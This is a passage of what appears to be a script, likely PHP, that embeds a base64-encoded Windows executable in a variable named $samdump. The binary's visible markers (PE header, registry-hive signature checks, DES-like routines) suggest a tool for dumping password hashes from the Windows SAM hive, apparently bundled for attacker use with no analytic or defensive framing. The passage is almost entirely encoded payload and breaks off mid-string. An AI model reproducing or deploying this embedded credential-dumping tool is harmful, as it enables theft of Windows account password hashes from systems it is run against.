+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; + +$samdump="TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v +ZGUuDQ0KJAAAAAAAAABQRQAATAEFAHD4djQAAAAAAAAAAOAADgELAQMKALIAAABqAAAAAAAAAFIA +AAAQAAAA0AAAAABAAAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAABQAQAABAAAAAAAAAMAAAAAABAA +ABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAAAgAQAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAADABAOwKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAYIQEA8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAAhLEAAAAQAAAAsgAAAAQA +AAAAAAAAAAAAAAAAACAAAGAucmRhdGEAAAgfAAAA0AAAACAAAAC2AAAAAAAAAAAAAAAAAABAAABA +LmRhdGEAAAAULwAAAPAAAAAcAAAA1gAAAAAAAAAAAAAAAAAAQAAAwC5pZGF0YQAAJAYAAAAgAQAA +CAAAAPIAAAAAAAAAAAAAAAAAAEAAAMAucmVsb2MAACQQAAAAMAEAABIAAAD6AAAAAAAAAAAAAAAA +AABAAABCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +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 +M/oz2ovHJQD8AADB6AjBywSLqADbQACLwyUA/AAAwegIM6gA3EAAi8clAAD8AMHoEDOoAN1AAIvD +JQAA/ADB6BAzqADeQACLxyX////8gef8AAAAwegYM6gA30AAi8Ml/////IHj/AAAAMHoGDOoAOBA +ADOvANlAAIt+CDOrANpAAIteDDPNM/kz2YvHJQD8AADB6AjBywSLqADbQACLwyUA/AAAwegIM6gA +3EAAi8clAAD8AMHoEDOoAN1AAIvDJQAA/ADB6BAzqADeQACLxyX////8wegYM6gA30AAi8Ml//// +/MHoGIHn/AAAAIHj/AAAADOoAOBAADOvANlAAIt+EDOrANpAAIteFDPVM/oz2ovHJQD8AADB6AjB +ywSLqADbQACLwyUA/AAAwegIM6gA3EAAi8clAAD8AMHoEDOoAN1AAIvDJQAA/ADB6BAzqADeQACL +xyX////8gef8AAAAwegYM6gA30AAi8Ml/////IHj/AAAAMHoGDOoAOBAADOvANlAAIt+GDOrANpA +AIteHDPNM/kz2cHLBIvHi+slAPwAAIHlAPwAAMHoCMHtCIuAANtAADOFANxAAIvvgeUAAPwAwe0Q +M4UA3UAAi+uB5QAA/ADB7RAzhQDeQACDxiCL74Hn/AAAAIHl/////MHtGDOFAN9AAIvrgeX////8 +geP8AAAAwe0YM4UA4EAAM4cA2UAAM4MA2kAAM9D/TCQQD4XT/f//6TMCAADHRCQQBAAAAIPGeIs+ +i14EM/oz2ovHJQD8AADB6AjBywSLqADbQACLwyUA/AAAwegIM6gA3EAAi8clAAD8AMHoEDOoAN1A +AIvDJQAA/ADB6BAzqADeQACLxyX////8gef8AAAAwegYM6gA30AAi8Ml/////IHj/AAAAMHoGDOo +AOBAADOvANlAAIt++DOrANpAAIte/DPNM/kz2YvHJQD8AADB6AjBywSLqADbQACLwyUA/AAAwegI +M6gA3EAAi8clAAD8AMHoEDOoAN1AAIvDJQAA/ADB6BAzqADeQACLxyX////8wegYM6gA30AAi8Ml +/////MHoGIHn/AAAAIHj/AAAADOoAOBAADOvANlAAIt+8DOrANpAAIte9DPVM/oz2ovHJQD8AADB +6AjBywSLqADbQACLwyUA/AAAwegIM6gA3EAAi8clAAD8AMHoEDOoAN1AAIvDJQAA/ADB6BAzqADe +QACLxyX////8gef8AAAAwegYM6gA30AAi8Ml/////IHj/AAAAMHoGDOoAOBAADOvANlAAIt+6DOr +ANpAAIte7DPNM/kz2YvHJQD8AADB6AjBywSLqADbQACLwyUA/AAAwegIM6gA3EAAi8clAAD8AMHo +EDOoAN1AAIvDJQAA/ADB6BAzqADeQACD7iCLx4Hn/AAAACX////8wegYM6gA30AAi8Ml/////IHj +/AAAAMHoGDOoAOBAADOvANlAADOrANpAADPV/0wkEA+F2P3//8HJA8HKA4vCwegBM8ElVVVVVTPI +A8Az0IvBwegIM8Il/wD/ADPQweAIM8iLwsHoAjPBJTMzMzMzyMHgAjPQi8HB6BAzwiX//wAAM9DB +4BAzyIvCwegEi1wkGDPBXSUPDw8PXzPIXsHgBIkLM9CJUwRbg8QEw8zMzMzMzMzMzMzMi0wkBIPs +BI1EJABqAGoAUGgABAAAUWoAaAARAAD/FZQhQQCFwHUGM8CDxATDi0QkAIPEBMPMzMzMzMzMzMzM +zKFc8EAAhcB0B1D/FRwhQQCLRCQEUOim////g8QEo1zwQADDzMzMzMzMzMzMzMzMzItEJAQz0g++ +SAPB4QiKUAIDyjPSweEIilABA8oz0sHhCIoQjQQRw8zMzMzMzMzMzItUJARTi0wkDIoCwOgBiAGK +AiQBiloBwOAGwOsCCsOIQQGKQgEkA4paAsDgBcDrAwrDiEECikIDwOgEiloCgOMHwOMECtiIWQOK +WgTA6wWKQgMkD8DgAwrDiEEEikIEJB+KWgXA4ALA6wYKw4hBBYpCBsDoB4paBYDjPwLbCtiIWQaK +QgYkf4hBBzPAwCQBAUCD+Ah89lHo5AoAAIPEBFvDzMzMzMzMzMzMzMzMzMzMi0QkBIPsCIvIiEQk +AMHpEIhkJAHB6BiKVCQBiEwkAohEJAOKTCQAikQkAohMJASIVCQFi0wkEI1UJACIRCQGUVLoCv// +/4PEEMPMzMzMzMyLRCQEg+wIi8iIRCQBwekYilQkAYhMJACIZCQCwegQiEwkBItMJBCIRCQDikQk +AlGIVCQJiEQkCo1UJARS6L7+//+DxBDDzMzMzMzMzMzMzIHsLAEAAFNWi7QkOAEAAFdVjUYMUOhm +/v//iUQkHIPEBI1GEFDoVv7//4lEJBSDxASNRhhQ6Eb+//+JRCQog8QEjUYcUOg2/v//g8QEi+iN +RiRQ6Cj+//+JRCQgg8QEjUYoUOgY/v//g8QEi9iNRkhQ6Ar+//+JRCQkg8QEjUZMUOj6/f//iUQk +LIPEBI2GnAAAAFDo5/3//4u8JEwBAACLjCRQAQAAi5QkWAEAAIlEJBiLhCRUAQAAg8QExwcAAAAA +xwEAAAAAi4wkXAEAAMcAAAAAAMcCAAAAAMcBAAAAAIuEJGQBAACDfCQQAMcAAAAAAA+M8wMAAIN8 +JBgAD4zoAwAAhdsPjOADAACF7Q+M2AMAAIN8JCAAD4zNAwAAg3wkHAAPjMIDAACDfCQUAA+MtwMA +ALjMAAAAAUQkGAFEJCQBRCQcAUQkIAFEJBSLRCQQQFDopw8AAIPEBIkHhcB1Imio8EAAaBD2QADo +7xoAAIPECLj/////XV9eW4HELAEAAMONRQFQ6HMPAACLjCRQAQAAg8QEhcCJAXUzaKjwQABoEPZA +AOi0GgAAg8QIiwdQ6FkMAACDxAS4/////8cHAAAAAF1fXluBxCwBAADDjUMBUOgnDwAAi4wkVAEA +AIPEBIXAiQF1UmiE8EAAaBD2QADoaBoAAIPECIsHUOgNDAAAi4wkUAEAAIPEBMcHAAAAAIsBUOj1 